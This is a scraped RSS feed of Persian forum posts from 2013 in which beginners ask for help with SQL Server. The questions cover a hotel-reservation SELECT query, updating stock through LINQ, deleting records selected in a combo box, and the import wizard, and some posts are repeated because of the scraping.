tbl_rezerve_otagh.zaman_khoroh 

دستور select زیر نوشتم درست عمل نمیکنه مشکل چی؟

کد:
SELECT     tbl_otagh.somareh_otagh, tbl_otagh.keyfiyat, tbl_otagh.chand_khabe, tbl_otagh.gheymat
FROM         tbl_otagh INNER JOIN
                      tbl_rezerve_otagh ON tbl_otagh.somareh_otagh = tbl_rezerve_otagh.somareh_otagh
WHERE    ( tbl_rezerve_otagh.tarikh_khoroj > '1392-02-08' AND tbl_otagh.keyfiyat = 'خوب') or (tbl_otagh.somareh_otagh<>tbl_rezerve_otagh.somareh_otagh and tbl_otagh.keyfiyat = 'خوب')
]]>
کد php:
tbl_otagh.somareh_otagh
 tbl_otagh.keyfiyat
 tbl_otagh.chand_khabe
 tbl_otagh.gheymat 

و یه جدول هم با نام tbl_rezerve_otagh و با فیلد های زیر
کد php:
tbl_rezerve_otagh.shomareh_shenasname
tbl_rezerve_otagh.somareh_otagh 
tbl_rezerve_otagh.tarikh_vorod
tbl_rezerve_otagh.tarikh_khoroj
 tbl_rezerve_otagh.zaman_vorood
tbl_rezerve_otagh.zaman_khoroh 

دستور select زیر نوشتم درست عمل نمیکنه مشکل چی؟

کد:
SELECT     tbl_otagh.somareh_otagh, tbl_otagh.keyfiyat, tbl_otagh.chand_khabe, tbl_otagh.gheymat
FROM         tbl_otagh INNER JOIN
                      tbl_rezerve_otagh ON tbl_otagh.somareh_otagh = tbl_rezerve_otagh.somareh_otagh
WHERE    ( tbl_rezerve_otagh.tarikh_khoroj > '1392-02-08' AND tbl_otagh.keyfiyat = 'خوب') or (tbl_otagh.somareh_otagh<>tbl_rezerve_otagh.somareh_otagh and tbl_otagh.keyfiyat = 'خوب')
]]> <![CDATA[شروع SQL]]> https://www.iranled.com/forum/thread-27330.html Thu, 21 Nov 2013 18:14:55 +0000 https://www.iranled.com/forum/thread-27330.html من میخوام sql رو شروع کنم. به صورت سریع تقریباً. میخوام اطلاعات رو ذخیره کنم، حذف کنم و بخونم. نمی خوام زیاد وارد جزئیات بشم. فقط کارم رو راه بندازه. منبعی هم اونجور که میخوام پیدا نکردم.
تا حالا هم اصلاً sql کار نکردم. فقط SQL Server 2012 رو نصب کردم. Biggrin
با C#.NET کار می کنم.
با تشکر]]> من میخوام sql رو شروع کنم. به صورت سریع تقریباً. میخوام اطلاعات رو ذخیره کنم، حذف کنم و بخونم. نمی خوام زیاد وارد جزئیات بشم. فقط کارم رو راه بندازه. منبعی هم اونجور که میخوام پیدا نکردم.
تا حالا هم اصلاً sql کار نکردم. فقط SQL Server 2012 رو نصب کردم. Biggrin
با C#.NET کار می کنم.
با تشکر]]> <![CDATA[حذف]]> https://www.iranled.com/forum/thread-27218.html Thu, 31 Oct 2013 15:45:49 +0000 https://www.iranled.com/forum/thread-27218.html
الان میخوام کاری کنم که وقتی کاربر تعداد یک جنس خاص را در جدول فاکتور وارد کرد,در جدول product از تعداد اون محصول بلافاصله کم بشه
راهنماییم کنید

اینم بگم به روش linq کد رو نوشتم
ممنون]]>
الان میخوام کاری کنم که وقتی کاربر تعداد یک جنس خاص را در جدول فاکتور وارد کرد,در جدول product از تعداد اون محصول بلافاصله کم بشه
راهنماییم کنید

اینم بگم به روش linq کد رو نوشتم
ممنون]]> <![CDATA[حذف کالا از دیتا بیس]]> https://www.iranled.com/forum/thread-27205.html Tue, 29 Oct 2013 17:12:48 +0000 https://www.iranled.com/forum/thread-27205.html مرسی
کد حذف کردن از دیتا بیس در c# رو بلدم اما میخوام اون محصولی که در combo box انتخاب شود کاملا حذف شود]]> مرسی
کد حذف کردن از دیتا بیس در c# رو بلدم اما میخوام اون محصولی که در combo box انتخاب شود کاملا حذف شود]]> <![CDATA[sql server import ....]]> https://www.iranled.com/forum/thread-26993.html Sun, 22 Sep 2013 18:30:36 +0000 https://www.iranled.com/forum/thread-26993.html
این ویزارد اس کیو ال سرور .... که همراه ویژوال استادیو نصب میشه کارش چیه؟


ضمنا برای اینکه نیازی به نصب ای کیو ال سرور نباشه میشه از نسخه اکسپرس استفاده کرد؟

باید کجا رفت؟ ممنون

.jpg   a445.jpg (اندازه: 95.91 KB / تعداد دفعات دریافت: 99) ]]>
این ویزارد اس کیو ال سرور .... که همراه ویژوال استادیو نصب میشه کارش چیه؟


ضمنا برای اینکه نیازی به نصب ای کیو ال سرور نباشه میشه از نسخه اکسپرس استفاده کرد؟

باید کجا رفت؟ ممنون

.jpg   a445.jpg (اندازه: 95.91 KB / تعداد دفعات دریافت: 99) ]]> <![CDATA[معرفی سایت - دیاگرام دیتابیس]]> https://www.iranled.com/forum/thread-26537.html Mon, 29 Jul 2013 12:10:21 +0000 https://www.iranled.com/forum/thread-26537.html
یه سایت خوب که مرجعه سوالات پایگاه داده است
توش نمونه ER های بهینه برای انواع سیستم ها وجود داره .

کد php:
databaseanswers.org/data_models/ 
]]>
یه سایت خوب که مرجعه سوالات پایگاه داده است
توش نمونه ER های بهینه برای انواع سیستم ها وجود داره .

کد php:
databaseanswers.org/data_models/ 
]]>